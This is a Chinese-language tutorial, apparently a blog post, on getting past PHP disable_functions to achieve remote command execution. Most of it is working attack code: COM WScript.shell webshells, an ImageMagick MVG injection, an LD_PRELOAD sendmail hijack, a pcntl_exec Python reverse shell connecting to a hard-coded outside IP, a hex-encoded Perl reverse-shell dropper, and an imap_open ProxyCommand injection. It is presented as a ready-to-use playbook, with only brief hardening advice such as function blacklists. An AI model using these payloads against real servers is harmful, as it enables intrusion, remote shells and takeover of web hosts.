RCE英文全称:remote command/code execute 分为远程命令执行ping和远程代码执行evel。 漏洞出现的原因:没有在输入口做输入处理。 我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
有些时候,我们必须要禁用一些函数,来保证安全
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
window com组件(php 5.4)(高版本扩展要自己添加) 条件:要在php.ini中开启(如图)
利用代码,利用shell上传如下代码到目标服务器上
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
利用成功后的结果
彻底的解决方案是 直接删除System32目录下wshom.ocx文件
ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件,如果phpinfo中看到有这个,可以尝试如下利用
利用代码如下
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的
利用原理 LD_PRELOAD是Linux系统的下一个有趣的环境变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
可能这个不好理解,我们做一个简单的测试代码
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return 0;
}
printf("Invalid Password!/n");
}
# 保存为a.c,并编译为a
保存如上代码为a.c,并编译为a,编译命令如下
gcc a.c -o a
运行a结果如下
以上程序很简单,根据判断传入的字符串是否等于”password”,得出两种不同结果。 其中用到了标准C函数strcmp函数来做比较,这是一个外部调用函数,我们来重新编写一个同名函数,代码如下(保存如下代码为b.c)
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack functio n invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}
我们编译以上代码为一个动态共享库,编译命令如下
gcc -fPIC -shared b.c -o b.so
通过LD_PRELOAD来设置它能被其他调用它的程序优先加载
export LD_PRELOAD="./b.so"
我们再次运行a ./a bbb Correct Password!
我们看到随意输入字符串都会显示密码正确,这说明程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序,实现劫持。
结合mail 函数进行实战测试 那么我们来看一下sendmail函数都调用了哪些库函数,使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数: !](https://img-blog.csdnimg.cn/2020081410553425.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2h4aHhoeGh4eA==,size_16,color_FFFFFF,t_70#pic_center)
构造poc思路 编制我们自己的动态链接程序。 通过php的putenv来设置LD_PRELOAD,让我们的程序优先被调用。 在webshell上用mail函数发送一封邮件来触发。具体实现如下
1.编制我们自己的动态链接程序,代码如下(功能是执行mkdir test) 执行编译为一个动态共享库的命令如下
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
代码
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
FILE*fp = fopen("/tmp/2.txt","w");
fclose(fp);
system("mkdir /var/www/html/test");
}
int geteuid(){
FILE *fp1=fopen("/tmp/2.txt","r");
if(fp1!=NULL)
{
fclose(fp1);
return 552;
}else {
payload();
return 552;
}
}
2.利用webshell,上传编译后的a.so到目标服务器 3.通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。利用代码如下
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("[email protected]","","","","");
?>
结果如下,成功执行命令,创建文件test
pcntl是linux下的一个扩展,可以支持php的多线程操作。(与python结合反弹shell) pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5
利用代码如下
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
一把梭
(1) 首先查看phpinfo ,如果是php 7 ,直接先上面工具一把梭
(2) 如果不是php7 ,那么再看disable_function 有没有遗漏的函数,毕竟是黑名单,所以很有可能没写全,可以对照这个列表来比较:
dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
利用apache ,cgi mod 和 .htaccess 来绕过 https://www.freebuf.com/vuls/218495.html (1)利用条件: phpinfo 中搜索server api 是 cgi 或者fastcgi (2)如果是cgi 模式:
(3)如果是fast_cgi 模式:
(1)phpinfo 中 com.allow_dcom 开启 什么是com 组件: COM组件是以WIN32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行代码组成。 –百度百科
comshell.php :
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
直接利用遗漏函数 exec , shell _exec ,system ,passthru ,popen ,proc_open,pcntl_exec,imap_open.dl 来执行命令 : (1) exec
<?php
echo exec('whoami');?>
(2) shell_exec
<?php
echo shell_exec('whoami');?>
(3) system
<?php
system('whoami');?>
(4) passthru
<?php
passthru("whoami");?>
(5) popen
<?php$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{ echo fread($handle, 1024); //fread($handle, 1024);
}
pclose($handle);
?>
(6) proc_open
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{ echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
(7) pcntl_exec: 条件: 开启了pcntl 扩展,并且php 4>=4.2.0 , php5 onlinux
<?php
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者 Spider
*nc -vvlp 443
********************************/
$ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>
(8) imap_open() 函数:
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");